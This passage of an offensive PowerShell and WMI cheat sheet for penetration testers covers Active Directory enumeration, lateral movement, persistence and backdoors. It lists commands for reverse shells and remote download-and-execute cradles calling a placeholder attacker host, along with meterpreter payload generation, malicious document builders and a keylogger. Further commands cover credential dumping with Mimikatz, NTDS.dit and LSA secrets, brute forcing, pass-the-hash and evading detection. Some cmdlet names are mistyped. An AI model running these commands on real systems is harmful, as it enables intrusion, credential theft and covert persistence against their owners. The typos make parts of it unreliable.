PS C:\> Get-WmiObject -Class win323_printer -Filter "Name = 'Microsoft XPS Document Writer'" | Set-WmiInstance -Arguments @{Comment = "WMI Comment"}
PS C:\> Get-CimInstance -ClassName win323_printer -Filter "Name = 'Microsoft XPS Document Writer'" | Set-CimInstance -Property @{Comment = "CIM Comment"}
  • Use associators to get all instances from all the associated classes (make sure to use a property inside the curly braces above (with Get-WMIObject) as without specifying a property we will not get instances of the associated classes) (the __RELPATH property can be used as a key to list relationships)
PS C:\> Get-WmiObject -Query "Associators Of {win32_NetworkAdapter.DeviceID=11}"
PS C:\> Get-CimAssociatedInstance -InputObject (Get-CimInstance -ClassName win32_NetworkAdapter -Filter 'DeviceId = 11')
  • Check only the class definitions of the associated classes and not the instances
PS C:\> Get-WmiObject -Query "Associators of {win32_NetworkAdapter.DeviceID=11} Where ClassDefsOnly
  • Retrieve instance of a single associated class
PS C:\> Get-WmiObject -Query "Associators of {win32_NetworkAdapter.DeviceID=11} Where AssocClass=win32_ProtocolBinding"
PS C:\> Get-CimAssociatedInstance -InputObject (Get-CimInstance -ClassName win32_NetworkAdapter -Filter 'DeviceId = 11') -Association win32_ProtocolBinding
  • Restrict instances of a particular associated class
PS C:\> Get-WmiObject -Query "Associators of {win32_NetworkAdapter.DeviceID=11} Where ResultsClass=win32_NetworkAdapterConfiguration"
PS C:\> Get-CimAssociatedInstance -InputObject (Get-CimInstance -ClassName win32_NetworkAdapter -Filter 'DeviceId = 11') -ResultsClassName win32_NetworkAdapterConfiguration
  • Retrieve the class which links two classes together i.e. the class wich is association or link between a class and an associated class (while the output seems similar to Associators Of, note the difference between properties)
PS C:\> Get-WmiObject -Query "References of {win32_NetworkAdapter.DeviceID=11} where ClassDefsOnly

WMIC

A command line utility by Microsoft to use WMI. Outdated by PowerShell

  • Start an interactive session
PS C:\> wmic
  • List help
wmic:root\cli> /?
  • List help about a particular namespace
wmic:root\cli> process /?
PS C:\> wmic process /?        # For non-interactive use
  • Save output to HTML
PS C:\> wmic /output:C:\WMI\proc.htm process list /format:hform.xsl

WMI on Remote Computers

All WMI cmdlets support the -ComputerName parameter, and can be used to perform various operations on remote computers. Administrative privileges are required on the remote machine to access WMI. WMI uses DCOM on port 135 for establishing connection (default -Wimmgmt service). Not firewall and NAT friendly. Data exchange is done on dynamic ports. The ports can be configured and are governed by HKEY_LOCAL_MACHINE\Software\Microsoft\Rpc\Internet.

All CIM cmdlets also support the -ComputerName parameter, and can be used to perform various operations on remote computers. Administrative privileges are required on the remote machine to access CIM. CIM cmdlets through CIM sessions are able to use both DCOM on port 135, and WinRM/WSMan on port 5985 for HTTP and 5986 for HTTPS for connecting to remote computers. WinRM/WSMan is firewall and NAT friendly.

  • Use WMI on a remote computer
PS C:\> Get-WmiObject -Class win32_operatingsystem -ComputerName <IP address> -Credential <Domain>\<username>
  • Use CIM on a remote computer
PS C:\> $sess = New-CimSession -ComputerName <IP address> -Credential <Domain>\<username>
PS C:\> Get-CimInstance -CimSession $sess -ClassName win32_operatingsystem
  • Use CIM on a remote computer, and force DCOM
PS C:\> $sessionoptions = New-CimSessionOption -Protocol DCOM
PS C:\> $sess = New-CimSession -SessionOption $sessionoptions -ComputerName <IP address> -Credential <Domain>\<username>
PS C:\> Get-CimInstance -CimSession $sess -ClassName win32_operatingsystem

Windows Registry

WMI class StdRegProv could be used for interacting with the Registry. It provides a range of methods on different Registry hives to retrieve keys and values, add, modify and remove keys and values.

  • Get all methods of the StdRegProv class
PS C:\> Get-WmiObject -Namespace root\default -Class StdRegProv -List | select -ExpandProperty Methods
  • Retrieve Internet Explorer Typed URLs
PS C:\> Invoke-WmiMethod -Namespace root\default -Class StdRegProv -Name EnumKey @(2147483649,"software\microsoft\internet explorer") | select -ExpandProperty sNames
PS C:\> Invoke-WmiMethod -Namespace root\default -Class StdRegProv -Name GetStringValue @(2147483649,"software\microsoft\internet explorer\typedurls","url1") | select -ExpandProperty sValue
PS C:\> Invoke-WmiMethod -Namespace root\default -Class StdRegProv -Name GetStringValue @(2147483649,"software\microsoft\internet explorer\typedurls","url1") -ComputerName <IP address> -Credential <Domain>\<username>        # Against a remote computer

Information Gathering

Enabled on all Windows systems by default. Countermeasures and defenders generally don't care about use of WMI by attackers. Mixes really well with existing traffic on the network. Provides execution and persistence with SYSTEM privileges.

  • List routes
Get-WmiObject -Class Win32_IP4RouteTable
  • List users
Get-WmiObject -Class Win32_UserAccount
  • List groups
Get-WmiObject -Class Win32_Group
  • Get system secrets
Get-WmiObject -Class Win32_ShadowCopy
  • Gather information from the local machine using Invoke-SessionGopher (Useful for identifying admin jump-boxes and computers used to access Unix machines. Extracts session information for Putty and RDP and can decrypt passwords for WinSCP from Registry. Uses WMI for extracting information from Registry. Administrative privileges not required for local but necessary for remote operations - https://github.com/Arvanaghi/SessionGopher)
PS C:\> Invoke-SessionGopher -Verbose
  • Gather information from a remote machine
PS C:\> Invoke-SessionGopher -ComputerName <IP address> -Credential <Domain>\<username>
  • Gather information from all machines in the domain
PS C:\> Invoke-SessionGopher -Credential <Domain>\<username> -AllDomain
  • Gather information from all machines in the domain, but exclude the DC to avoid detection
PS C:\> Invoke-SessionGopher -Credential <Domain>\<username> -AllDomain -ExcludeDC
  • Gather information like Putty private keys (.ppk), RDP files (.rdp), and RSA files (.stdid) from the filesystem of the target
PS C:\> Invoke-SessionGopher -Thorough

Active Directory Enumeration

Need to be run from a domain joined box.

  • List classes
PS C:\> Get-WmiObject -NameSpace "root\directory\ldap" -List
PS C:\> Get-CimClass -NameSpace root\directory\ldap
  • Enumerate current domain
PS C:\> Get-WmiObject -Namespace root/directory/ldap -Class ds_domain | select -ExpandProperty ds_dc
PS C:\> (Get-WmiObject -Class win32_ComputerSystem).Domain
  • Enumerate domain policy
PS C:\> Get-WmiObject -Namespace root/directory/ldap -Class ds_domain | select DS_lockoutDuration, DS_lockoutObservationWindow, DS_lockoutThreshold, DS_maxPwdAge, DS_minPwdAge, DS_minPwdLength, DS_pwdHistoryLength, DS_pwdProperties
  • Enumerate domain controller
PS C:\> Get-WmiObject -Namespace root/directory/ldap -Class ds_computer | Where-Object {$_.ds_userAccountControl -eq 532480}
PS C:\> (Get-WmiObject -Namespace root/directory/ldap -Class ds_computer | Where-Object {$_.ds_userAccountControl -eq 532480}).Properties | Foreach-Object {If($_.calue -AND $_.name -notmatch "__"){@{ $($_.name) = $($_.value)}}}        # Filter out null properties
  • Enumerate users
PS C:\> Get-WmiObject -Class win32_useraccount
PS C:\> Get-WmiObject -Class win32_useraccount -Filter "Domain = '<Domain Name>'"        # Enumerate another domain
  • Enumerate groups
PS C:\> Get-WmiObject -Class win32_group
PS C:\> Get-WmiObject -Class win32_groupindomain | Foreach-Pbject {[wmi]$_.PartComponent}
PS C:\> Get-WmiObject -Class win32_groupindomain | Where-Object {$_.GroupComponent -match "<Domain Name>"} | Foreach-Pbject {[wmi]$_.PartComponent}        # Enumerate another domain
  • Enumerate group members
PS C:\> Get-WmiObject -Class win32_groupuser | Where-Object {$_.GroupComponent -match "Domain Admins"} | Foreach-Object {[wmi]$_.PartComponent}
PS C:\> Get-WmiObject -Class win32_groupuser | Where-Object {$_.GroupComponent -match "<Domain Name>" -and $_.GroupComponent -match "Domain Admins"} | Foreach-Object {[wmi]$_.PartComponent}        # Enumerate another domain
PS C:\> Get-WmiObject -Class win32_groupuser | Where-Object {$_.PartComponent -match "<username>"} | Foreach-Object {[wmi]$_.GroupComponent}        # Enumerate the group membership for a user
  • Enumerate computers
PS C:\> Get-WmiObject -Namespace root\directory\ldap -Class ds_computer
PS C:\> Get-WmiObject -Namespace root\directory\ldap -Class ds_computer | select -ExpandProperty ds_cn
PS C:\> Get-WmiObject -Namespace root\directory\ldap -Class ds_computer | Where-Object {$_.ds_cn -eq "ops-dc"}).Properties | Foreach-Object {If($_.value -AND $_.name -notmatch "__"){@{$($_.name) = $($_.value)}}}        # Filter out null properties
  • Enumerate local administrator privileges on remote computers
PS C:\> $computers = Get-WmiObject -Namespace root\directory\ldap -Class ds_computer | select -ExpandProperty ds_cn        # List computers
PS C:\> foreach ($computer in $computers) { (Get-WmiObject win32_computersystem -Computer $computer).Name}        # Any computer name shown here will mean local admin access

Lateral Movement

WMI is helpful for storage of information, instructions, shellcode, scripts etc... as namespaces, classes, registry etc...(and also on disk in text and other files). Countermeasures are generally unaware of our lack ability to look for malicious code/scripts in WMI namespaces.

  • Use WMI to transfer data
PS C:\> Send-InfoWMI -DatatoSend (Get-Proccess) -ComputerName <IP address> -Username <username>        # Use Send-InfoWMI.ps1 on the source to transfer data
PS C:\> Get-InfoWMI        # Read the data on the destination
PS C:\> Send-InfoWMI -FiletoSend <file> -ComputerName <IP address> -Username <username>        # To transfer file
PS C:\> Get-InfoWMI -Outfile <output-file>        # To save the file

It is possible to create a service on a remote machine using WMI to execute commands and scripts. This also allows persistence capabilities.

  • Create a service
PS C:\> $ServiceType = [byte] 16
PS C:\> $ErrorControl = [byte] 1
PS C:\> Invoke-WmiMethod -Class win32_service -Name Create -ArgumentList $false,"Windows Performance",$errorcontrol,$null,$null,"WinPerf","C:\Windows\System32\calc.exe",$null,$servicetype,"Manual","NT AUTHORITY\SYSTEM",""
  • Start the service
PS C:\> Get-WmiObject -Class win32_service -Filter 'Name = "WinPerf"' | Invoke-WmiMethod -Name StartService
  • Remove the service
PS C:\> Get-WmiObject -Class win32_service -Filter 'Name = "WinPerf"' | Remove-WmiObject
  • Abuse service creation for a reverse shell
PS C:\> Invoke-WmiMethod -Class win32_service -Name Create -ArgumentList $false,"Windows Performance",$errorcontrol,$null,$null,"WinPerf","C:\Windows\System32\cmd.exe /c powershell -e <base64-encodedscript>",$null,$servicetype,"Manual","NT AUTHORITY\SYSTEM","" -ComputerName <IP address> -Credential <Domain>\<username>
OR
PS C:\> Invoke-WmiMethod -Class win32_service -Name Create -ArgumentList $false,"Windows Performance",$errorcontrol,$null,$null,"WinPerf","C:\Windows\System32\cmd.exe /c powershell iex (New-Object Net.WebClient).DownloadString('http://<IP address>/payload.ps1')",$null,$servicetype,"Manual","NT AUTHORITY\SYSTEM","" -ComputerName <IP address> -Credential <Domain>\<username>

Backdoors

WMI can be used to create backdoors using custom malicious WMI providers.

  • Evil Network Connection WMI Provider - A WMI provider which when installed provides the ability to execute PowerShell commands with SYSTEM privileges. Needs elevated privileges to be installed. PowerShell.exe is not used to execute the payload.
https://github.com/jaredcatkinson/EvilNetConnectionWMIProvider
  • Execute a command
PS C:\> Invoke-WMIMethod -Class win32_netconnection -ComputerName <IP address> -Credential <Domain>\<username> -Name RunPs -ArgumentList "whoami"
  • Execute a PowerShell script
PS C:\> Invoke-WMIMethod -Class win32_netconnection -ComputerName <IP address> -Credential <Domain>\<username> -Name RunPs -ArgumentList "iex (New-Object Net.WebClient).DownloadString('http://<IP address>/payload.ps1')"

WMI Events

WMI has an event infrastructure which provides the capability of receiving notifications and responds to changes happening on a system. For example, an event can be triggered on user logon, process creation, registry change, file creation or change etc... It is possible to create both synchronous and asynchronous event queries. Of course, we prefer asynchronous queries as this allows constant monitoring of events without consuming system resources continuously. An event consumer (used to consume events) can be temporary or permanent. Temporary: Receives event notifications as long as the client application/host process is active. Permanent: Receives event notifications at all times (even across reboots) and is saved in the WMI repository and run as SYSTEM. There are two types of WMI events. Intrinsic: Events which are triggered on a change (creation, modification, or deletion) in the standard WMI model. For example, the creation of a new instance of win32_logicaldisk is an __InstanceCreationEvent type. Represented by system classes and included in every namespace. Created for objects stored in the repository. Polling is used to detect the changes. Therefore there are chances of missing these events (if the event is triggered during the polling event).There are intrinsic events for almost every activity on the operating system. Extrinsic: A predefinied occurrence that cannot be linked directly to changes in the WMI model. These events are defined by the providers themselves. For example, a computer shutdown event. Represented by non-system classes and are implemented by a provider. These are notified immediately (no polling required) so chances of missing are low. Derivied from the __ExtrinsicEvent class. Three parts to create a permanent event consumer: Filter = the event which occurs, Consumer = the action to be performed when the event occurs, Binding = establish relationship between filter and consumer.

  • Check WMI permanent event consumers
PS C:\> Get-WmiObject -Namespace root\subscription -List
PS C:\> Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer
  • List of permanent event consumers
- ActiveScriptEventConsumer - Executes a predefined VBScript or Jscript
- CommandLineEventConsumer - Launches a process with SYSTEM privileges
- LogFileEventConsumer - Write data to a log file
- NTEventLogEventConsumer - Logs a message to the Windows event log
- SMTPEventConsumer - Sends an email using SMTP
  • ActiveScriptEventConsumer
$query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"

$filterPath = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{name=$filterName; EventNameSpace=$filterNS; QueryLanguage="WQL"; Query=$query}

$consumerPath = Set-WmiInstance -Namespace root\subscription -Class ActiveScriptEventConsumer -Arguments @{name="WindowsSanity"; ScriptFileName=$VBSFile; ScriptingEngine="VBScript"}

Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filterPath; Consumer=$consumerPath}
  • CommandLineEventConsumer
$query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"

$filterPath = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{name=$filterName; EventNameSpace=$filterNS; QueryLanguage="WQL"; Query=$query}

$consumerPath = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{name=$filterName; CommandLineTemplate = $Payload}

Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filterPath; Consumer=$consumerPath}

Security Descriptors

It is possible to modify Security Descriptors (security information like Owner, primary group, DACL and SACL) of DCOM and WMI namespaces to allow access to non-admin users. Administrative privileges are required for this. It works as a very useful and impactful backdoor mechanism.

  • Use Set-RemoteWMI.ps1 from Nishang to allow a particular user or group access to WMI namepsaces with the same privileges as Administrator
PS C:\> Set-RemoteWMI -UserName <username> -Verbose        # On local machine for <username>

PS C:\> Set-RemoteWMI -UserName <username> -ComputerName <Domain Controller> -namespace 'root\cimv2' -Verbose        # On remote machine for <username> without explicit credentials

PS C:\> Set-RemoteWMI -UserName <username> -ComputerName <Domain Controller> -Credential Administrator -namespace 'root\cimv2' -Verbose        # On remote machine with explicit credentials. Only root\cimv2 and nested namespaces

PS C:\> Set-RemoteWMI -UserName <username> -ComputerName <Domain Controller> -namespace 'root\cimv2' -Remove -Verbose        # On remote machine, remove the permissions

Red Team Tools

  • PowerProvider and WheresMyImplant link (useful for class duplication, installing providers remotely, and create classes for information storage)

https://github.com/0xbadjuju/PowerProvider
https://github.com/0xbadjuju/WheresMyImplant

  • PowerLurk link (useful for discovering and building WMI permanent event subscriptions)

https://github.com/Sw4mpf0x/PowerLurk

  • WMIImplant link (PowerShell script that leverages WMI which can perform interesting operations and also work as a communication channel)

https://github.com/FortyNorthSecurity/WMImplant

#10. - PowerShell for Pentesters

Recon and Scanning

  • Perform a port scan
PS C:\> Import-Module .\nishang\nishang.psm1        # Using Nishang
PS C:\> Port-Scan -StartAddress <IP address> -EndAddress <IP address> -ResolveHost
PS C:\> Port-Scan -StartAddress <IP address> -EndAddress <IP address> -ScanPort

PS C:\> Import-Module  .\PowerSploit\PowerSploit.psd1        # Using PowerSploit
PS C:\> Invoke-PortScan -Hosts <IP address>
PS C:\> Invoke-PortScan -Hosts <IP address> | Select-Object -ExpandProperty openPorts
PS C:\> Invoke-PortScan -Hosts <IP address> -PingOnly

PS C:\> Import-Module .\Posh-SecMod\Posh-SecMod.psd1        # Using Posh-SecMod
PS C:\> Invoke-ARPScan -CIDR <IP address range>
PS C:\> Invoke-EnumSRVRecords -Domain <Domain Name>
  • Enumerate a target using Shodan
PS C:\> Import-Module .\Posh-Shodan\Posh-Shodan.psd1
PS C:\> Get-ShodanAPIInfo
PS C:\> Get-ShodanDNSResolve -Hostname <Domain Name>
PS C:\> Get-ShodanService
PS C:\> Search-ShodanHost -Query "RDP" -City "<City>"
  • Brute-force web page directories
PS C:\> . .\PowerSploit\Recon\Get-HttpStatus.ps1
PS C:\> Get-HttpStatus -Target <computer name> -Path .\PowerSploit\Recon\Dictionaries\generic.txt -Port 80 | Where-Object {$_.Status -match "ok"}

Brute Force

  • Brute force a user using Nishang
PS C:\> . .\nishang\Scan\Brute-Force.ps1
PS C:\> Brute-Force -Identity <computer name> -UserName <username> -Password <password> -Service ActiveDirectory
PS C:\> cat .\500-worst-passwords.txt | Brute-Force -Identity <computer name> -UserName <username> -Service ActiveDirectory

PS C:\> Brute-Force -Identity <computer name> -UserName <username> -Password <password> -Service SQL
PS C:\> cat .\500-worst-passwords.txt | Brute-Force -Identity <computer name> -UserName <username> -Service SQL
  • Brute force WinRM
PS C:\> . .\Get-WinRMPassword.ps1
PS C:\> Get-WinRMPassword -ComputerName <computer name> -username <Domain>\<username> -wordlist ..\500-worst-passwords.txt -Verbose
  • Brute force WMI
PS C:\> . .\Get-WMIPassword.ps1
PS C:\> Get-WMIPassword -ComputerName <computer name> -username <Domain>\<username> -wordlist ..\500-worst-passwords.txt -Verbose

Exploiting MSSQL

  • Execute commands on a MSSQL server using Nishang
PS C:\> . .\nishang\Execution\Execute-Command-MSSQL.ps1
PS C:\> Execute-Command-MSSQL -ComputerName <computer name> -UserName <username> -Password <password>

Client Side Attacks

  • Create a malicious Excel document using Nishang
PS C:\> . .\nishang\Client\Out-Excel.ps1
PS C:\> Out-Excel -Payload "powershell.exe -noexit -c Get-Service"

PS C:\> . .\nishang\Client\Out-Excel.ps1
PS C:\> Out-Excel -PayloadURL http://<IP address>/payload.ps1
  • Create a malicious compiled HTML help file (.CHM) using Nishang
PS C:\> . .\nishang\Client\Out-CHM.ps1
PS C:\> Out-CHM -Payload "-c Get-Process" -HHCPath 'C:\Program Files (x86)\HTML Help Workshop'

PS C:\> . .\nishang\Client\Out-CHM.ps1
PS C:\> Out-CHM -PayloadURL http://<IP address>/payload.ps1
  • Create a malicious shortcut using Nishang
PS C:\> . .\nishang\Client\Out-Shortcut.ps1
PS C:\> Out-Shortcut -Payload "-c Get-Process"

PS C:\> . .\nishang\Client\Out-Shortcut.ps1
PS C:\> Out-Shortcut -PayloadURL http://<IP address>/payload.ps1
  • Create a malicious HTML application for hosting on a web server using Nishang
PS C:\> . .\nishang\Client\Out-HTA.ps1
PS C:\> Out-HTA -PayloadURL http://<IP address>/payload.ps1
  • Create a malicious JAR file to be used to applets using Nishang
PS C:\> . .\nishang\Client\Out-Java.ps1
PS C:\> Out-Java -PayloadURL http://<IP address>/payload.ps1 -JDKPath 'C:\Program Files\Java\jdk1.7.0_25'
  • Create a malicious Word document using Nishang, and use a module
PS C:\> . .\nishang\Client\Out-Word.ps1
PS C:\> Out-Word -PayloadURL http://<IP address>/Powerpreter.psm1 -Arguments Get-Information

Metasploit

  • Generate a PowerShell payload
$ msfvenom -p windows/x64/meterpreter/reverse_https LHOST=<IP address> LPORT=<port> -f psh > payload.ps1
  • Useful Metasploit modules which use PowerShell
exploit/windows/smb/psexec_psh
exploit/windows/local/powershell_cmd_upgrade

Information Gathering

  • Gather information about a target using Nishang
PS C:\> . .\nishang\Gather\Get-Information.ps1
PS C:\> Get-Information
  • Start a keylogger using Nishang
PS C:\> .\nishang\Gather\Keylogger.ps1 -CheckURL http://<IP address>/test/check.txt -MagicString stop123

PS C:\> . .\nishang\Utility\Parse_Keys.ps1
PS C:\> Parse-Keys -RawKeys .\encoded.txt -LoggedKeys .\logged.txt
PS C:\> cat .\logged.txt

Privilege Escalation

  • Get services with unquoted paths and a space in their name
PS C:\> . .\PowerUp.ps1
PS C:\> Get-ServiceUnquoted
  • Get services where the current user can write to its binary path
PS C:\> . .\PowerUp.ps1
PS C:\> Get-ServiceExePerms
  • Get services which the current user can modify
PS C:\> . .\PowerUp.ps1
PS C:\> Get-ServicePerms
  • Modify a service to add an administrative user
PS C:\> . .\PowerUp.ps1
PS C:\> Invoke-ServiceUserAdd -ServiceName <service> -UserName <username> -Password <password>
  • Write out a C# service executable that adds a user
PS C:\> . .\PowerUp.ps1
PS C:\> Write-UserAddServiceBinary -ServiceName <service> -UserName <username> -Password <password>
  • Replace service binary for one which can add an administrative user
PS C:\> . .\PowerUp.ps1
PS C:\> Write-ServiceEXE -ServiceName <service> -UserName <username> -Password <password>
  • Check for Autologon credentials in the Registry
PS C:\> . .\PowerUp.ps1
PS C:\> Get-RegAutoLogon
  • Check for always elevated MSI in Registry
PS C:\> . .\PowerUp.ps1
PS C:\> Get-RegAlwaysInstallElevated
  • Run a MSI installer which can add an administrative user
PS C:\> . .\PowerUp.ps1
PS C:\> Write-UserAddMSI
  • Find DLL hijacking opportunities for currently running processes
PS C:\> . .\PowerUp.ps1
PS C:\> Invoke-FindDLLHijack
  • Find service %PATH% .DLL hijacking opportunities
PS C:\> . .\PowerUp.ps1
PS C:\> Invoke-FindPathHijack
  • Run all checks
PS C:\> . .\PowerUp.ps1
PS C:\> Invoke-AllChecks
  • Enumerate the Logon Tokens available and use them to create new processes (must be run as local admin)
PS C:\> Import-Module .\PowerSploit\PowerSploit.psd1
PS C:\> Invoke-TokenManipulation -Enumerate
PS C:\> Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "nt authority\system"

PS C:\> Get-Process lsass | Invoke-TokenManipulation -ImpersonateUser

Dumping System Secrets

  • Dump Windows user passwords
PS C:\> Invoke-Mimikatz -DumpCreds
  • Dump certificates
PS C:\> Invoke-Mimikatz -DumpCerts
  • Dump LSA Secrets
PS C:\> . .\nishang\Gather\Get-LSASecret.ps1
PS C:\> Get-LSASecret
  • Dump local users password hashes
PS C:\> . .\nishang\Gather\Get-PassHashes.ps1
PS C:\> Get-PassHashes
  • Dump WLAN keys in plain text
PS C:\> . .\nishang\Gather\Get-WLAN-Keys.ps1
PS C:\> Get-WLAN-Keys
  • "Phish" user credentials
PS C:\> . .\nishang\Gather\Invoke-CredentialPhish.ps1
PS C:\> Invoke-CredentialPhish
  • Dump NTDS.dit, SYSTEM and SAM hives
PS C:\> . .\PowerSploit\Exfiltration\Invoke-NinjaCopy.ps1
PS C:\> Invoke-NinjaCopy

PS C:\> . .\nishang\Gather\Copy-VSS.ps1
PS C:\> Copy-VSS -Path C:\Windows\Temp
  • Dump web credentials from Windows Vault in plain text (Windows 8 onwards)
PS C:\> Get-VaultCredential
PS C:\> Get-WebCredentials
  • Retrieve the plaintext password and other information for accounts pushed through Group Policy Preferences
PS C:\> Get-GPPPassword

Backdoors

  • DNS_TXT_Pwnage
PS C:\> DNS_TXT_Pwnage -StartDomain <Domain Name> -cmdstring begincommands -CommandDomain <Domain Name> -psstring startscript -PSDomain <Domain Name> -Arguments Get-WLAN-Keys -Subdomains 3 -StopString stop -AuthNS <Name Server>
  • HTTP-Backdoor
PS C:\> HTTP-Backdoor -CheckURL http://pastebin.com/raw.php?i=jqp2vJ3x -PayloadURL http://pastebin.com/raw.php?=Zhyf8rwh -Arguments Get-Information -MagicString start123 -StopString stopthis
  • Gupt-Backdoor
PS C:\> Gupt-Backdoor -MagicString op3n -Verbose
  • Add-ScrnSaveBackdoor
PS C:\> Add-ScrnSaveBackdoor -PayloadURL http://<IP address>/Powerpreter.psm1 -Arguments HTTP-Backdoor "http://pastebin.com/raw.php?i=jqp2vJ3x http://pastebin.com/raw.php?=Zhyf8rwh start123 stopthis
  • Invoke-ADSBackdoor
PS C:\> Invoke-ADSBackdoor -PayloadURL http://<IP address>/payload.ps1

Pass The Hash

  • Overpass The Hash
PS C:\> Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:<Domain Name> /ntlm:<NTLM hash> /run:powershell.exe"'
OR
PS C:\> $Contents = 'powershell.exe -c iex ((New-Object Net.WebClient).DownloadString(''http://<IP address>/Invoke-PowerShellTcp_444.ps1''))'
PS C:\> Out-File -Encoding Ascii -InputObject $Contents -FilePath C:\Users\Public\reverse.bat
PS C:\> Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:<Domain Name> /ntlm:<NTLM hash> /run:C:\Users\Public\reverse.bat"'

WSMAN (Web Services Management)

WinRM is Microsoft's implementation of WSMAN (Web Services Management).

  • Execute a command
PS C:\> Invoke-WSManAction -Action Create -ResourceURI wmicimv2/win32_process -ValueSet @{commandline="powershell.exe -c Get-Process"} -ComputerName <computer name> -Credential
  • Execute a script
PS C:\> Invoke-WSManAction -Action Create -ResourceURI wmicimv2/win32_process -ValueSet @{commandline="powershell.exe -c iex ((New-Object Net.WebClient).DownloadString('http://<IP address>/payload.ps1'))"} -ComputerName <computer name>

About